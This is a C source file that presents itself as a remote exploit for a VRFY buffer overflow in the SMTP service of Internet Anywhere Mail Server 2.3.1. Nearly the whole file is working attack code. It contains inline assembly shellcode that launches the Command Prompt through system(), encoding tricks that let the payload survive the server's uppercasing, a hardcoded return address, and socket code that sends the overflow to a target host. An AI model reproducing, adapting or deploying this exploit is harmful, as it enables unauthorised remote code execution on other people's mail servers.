// iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
 //
 // This exploit code starts the Command Prompt on a remote computer
 // running Internet Anywhere Mail Server version 2.3.1, build 10020.
 // However, it is very dependent on different DLL versions installed
 // on the server computer. This code exploits a vrfy buffer overflow
 // in the SMTP part of the mail server.
 //

 #include <stdio.h>
 #include <windows.h>
 #include <winsock.h>
 #include <string.h>

 #define sockaddr_in struct sockaddr_in
 #define sockaddr struct sockaddr

 // Server IP address
 char ipaddr[25] = "xxx.xxx.xxx.xxx";
 // Server port, the default is 25
 unsigned short port = xxxxx;

 // Payload machine code size and location
 DWORD stop, start, size;
 // The overflow string
 unsigned char s[251];

 // This function contains the payload assembly code and some extra
 // code to support dynamic loading of the payload
 BOOL createPayload(void)
 {
         DWORD point1, point2;

         __asm {
                 // First checkpoint for code location
                 MOV  point1, $
                 JMP  AFTER
                 // Exploit payload starts here ->>
                 // Set up a new stack frame, but there's no need to push EBP
                 // since we'll never return from here
                 MOV      EBP, ESP
                 // Manipulate the null terminated string "cmd" into ESI
                 // and push it onto the stack - we can't just move it into
                 // memory with three MOV BYTE PTR's because the machine code
                 // they generate will be destroyed when the mail server
                 // convert the string to uppercase
                 MOV  ESI, 0FF646d63h
                 AND  ESI, 0F0FFFFFFh
                 AND  ESI, 0FFFFFFFh
                 PUSH ESI
                 // Manipulate the system() function's entry address into ESI
                 // the same way as we did with the "cmd" string and push it
                 // onto the stack too - 7801C1A0h only works for version
                 // 5.00.7128 of the DLL msvcrt.dll
                 MOV  ESI, 7801C1A0h
                 MOV  EBX, 20FFFFFFh
                 AND  EBX, 0FF0F0F0Fh
                 AND  EBX, 0FFF0F0F0h
                 OR   ESI, EBX
                 AND  ESI, 0FFFFDFFFh
                 PUSH ESI
                 // Load the address to the "cmd" string into EAX and push it
                 // onto the stack for use by system() below
                 LEA  EAX, [EBP-04h]
                 PUSH EAX
                 // Call system() which starts the Command Prompt
                 CALL DWORD PTR [EBP-8h]
                 // Infinite loop - the server won't crash when the Command
                 // Prompt is closed, and it will also continue responding
                 // to more clients, though CPU usage will be 100%
                 LABEL1:
                 JMP  LABEL1
                 // <<- Exploit payload ends here
                 // Second checkpoint for code location
                 AFTER:
                 MOV  point2, $
         }
         // Calculate payload size and location
         size = point2 - point1 - 12;
         start = point1 + 12;
         stop = point2;
         // Payload size vs. server buffer size overflow check
         if (size > 75)
                 return FALSE;
         else
                 return TRUE;
 }

 // Create the vrfy overflow string
 void createOverflow(void)
 {
         unsigned char payload[236];
         unsigned char fillout[236];
         unsigned char ret[5];
         unsigned int i;
         unsigned long temp;
         unsigned char *p;

         // Create a string containing the payload
         temp = start;
         for (i=0; i<size; i++) {
                 p = (unsigned char*) temp;
                 payload[i] = *p;
                 temp++;
         }
         payload[i] = '\0';
         // Fill out with some 'a' until we hit the function return
         // address on the stack
         i = strlen(payload);
         while (i<235) {
                 fillout[i-strlen(payload)] = 'a';
                 i++;
         }
         fillout[i-strlen(payload)] = '\0';
         // Overwrite the return address to the location of the payload
         // inside the buffer
         ret[0] = 0x45;
         ret[1] = 0xF4;
         ret[2] = 0xF1;
         ret[3] = 0x01;
         ret[4] = 0x00;
         // Put together the whole vrfy overflow string
         strcpy(s, "vrfy xxxxx");
         strcat(s, payload);
         strcat(s, fillout);
         strcat(s, ret);
         strcat(s, "\r\n");
         printf("Created overflow string.\n");
 }

 // Connect to the server, say hi and then send the overflow string
 void sendOverflow(void)
 {
         SOCKET socket1;
         WSADATA winSockData;
         sockaddr_in peer;
         int flags;
         int result;
         char buffer[1024];

         // Allocate a socket, connect and stuff...
         WSAStartup(0x0101, &winSockData);
         socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
         peer.sin_family = AF_INET;
         peer.sin_port = htons(port);
         peer.sin_addr.s_addr = inet_addr(ipaddr);
         result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
         if (result != 0) {
                 printf("Couldn't connect to the server!\n");
                 closesocket(socket1);
                 WSACleanup();
         }
         else {
                 // Wait for the server to give us the welcome message, this
                 // is a bit simplified because we can't expect the whole
                 // message in one recv, but it will do in this case
                 flags = 0;
                 result = recv(socket1, buffer, 1024, flags);
                 // Say hi to the server
                 flags = 0;
                 result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
                 // Wait for the server to say ok, the same as above goes here
                 flags = 0;
                 result = recv(socket1, buffer, 1024, flags);
                 // Send the overflow string to the server
                 flags = 0;
                 result = send(socket1, s, strlen(s), flags);
                 if (result != SOCKET_ERROR)
                         printf("Overflow sent to the server.\n");
                 // Wait a couple of seconds
                 Sleep(2000);
                 // Clean up
                 closesocket(socket1);
                 WSACleanup();
         }
 }

 // Guess what this is :o)
 int main(void)
 {
         DWORD temp;
         unsigned char *p;

         printf("\niamexploit.c - by Arne Vidstrom -
 http://www.bahnhof.se/~winnt/\n\n");
         // Generate payload machine code and check size
         if (!createPayload()) {
                 printf("ERROR: The payload machine code generated will not fit in the
 buffer!\n");
                 return 1;
         }
         else
                 printf("%ld bytes of payload machine code generated.\n", size);
         // Check for null characters in the payload
         for (temp=start; temp<stop; temp++) {
                 p = (unsigned char*) temp;
                 if (*p == 0) {
                         printf("ERROR: The payload machine code generated contains the null
 character!\n");
                         return 1;
                 }
         }
         printf("Payload ok.\n");
         // Create the overflow string
         createOverflow();
         // Send the overflow string to the server
         sendOverflow();
         printf("Over and out!\n\n");
         return 0;
 }